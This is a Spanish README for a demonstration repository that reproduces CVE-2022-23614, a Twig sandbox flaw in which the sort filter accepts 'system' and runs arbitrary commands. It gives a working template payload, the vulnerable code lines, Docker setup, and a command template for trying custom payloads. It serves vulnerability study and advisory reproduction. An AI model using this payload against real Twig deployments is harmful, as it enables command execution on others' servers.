
Prueba de concepto para CVE-2022-23614 (inyección de comandos en Twig)
Prueba de concepto (PoC) para CVE-2022-23614 referenciado en el DSA-5107-1.
Twig es un motor de plantillas flexible, rápido y seguro para PHP. Notablemente, es posible usar filtros en una plantilla antes de renderizarla. El filtro sort se puede usar para ordenar los elementos de un array con la siguiente estructura:
{{ [5,8,2,3]|sort('desc') }}
Twig tiene un modo sandbox para evaluar código de plantillas no confiable. Cuando está en este modo sandbox, el parámetro arrow del filtro sort debe ser un closure para evitar que atacantes puedan ejecutar funciones arbitrarias de PHP. En versiones afectadas esta restricción no se aplicaba correctamente y podía llevar a la inyección de código PHP arbitrario.
{{ ["id",""]|sort('system') }}
Este PoC ilustra la vulnerabilidad en dos casos de uso diferentes: usando el paquete Debian php-twig (v2.14.1) o usando el módulo Composer twig/twig (v2.14).
El archivo index.php crea una plantilla Twig basada en el primer argumento. En el siguiente código, argv[1] es el nombre de la función de ordenación que Twig usará al renderizar.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Luego, index.php usará dos funciones obsoletas de Twig para cargar la plantilla generada. Finalmente, usa el segundo argumento (argv[2]) para pasar datos a la plantilla mientras se renderiza, notablemente el array args que queremos ordenar.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
La plantilla renderizada se imprime en la salida estándar.
Tenga en cuenta que este repositorio fue creado solo con fines de demostración. Está diseñado para ser simple de entender y fácil de usar para jugar con el CVE usando solo una interfaz de línea de comandos. Está bastante lejos de lo que se puede encontrar en un servidor vulnerable real.
Usando Docker, podemos recrear el contexto del Debian Security Advisory (DSA) original. Puede usar el script build-docker.sh proporcionado para construir y ejecutar el contenedor vulnerable correctamente.
chmod a+x build-docker.sh
./build-docker.sh
El contenedor debería apagarse una vez que se ejecute el payload (un comando id). Si desea probar sus propios comandos, puede ejecutar el contenedor en modo interactivo:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Una vez dentro del contenedor, puede crear su propio payload usando el siguiente modelo:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Este dockerfile fue creado parcialmente usando DECRET.
Si ya tiene php y Composer instalados en su máquina, puede replicar el exploit usando el módulo vulnerable de Composer.
cd exploit
composer install
Luego solo tiene que jugar con el payload.
php index.php system '{"args":["id",""]}'
Detalles del CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
Commit del parche: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC por davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614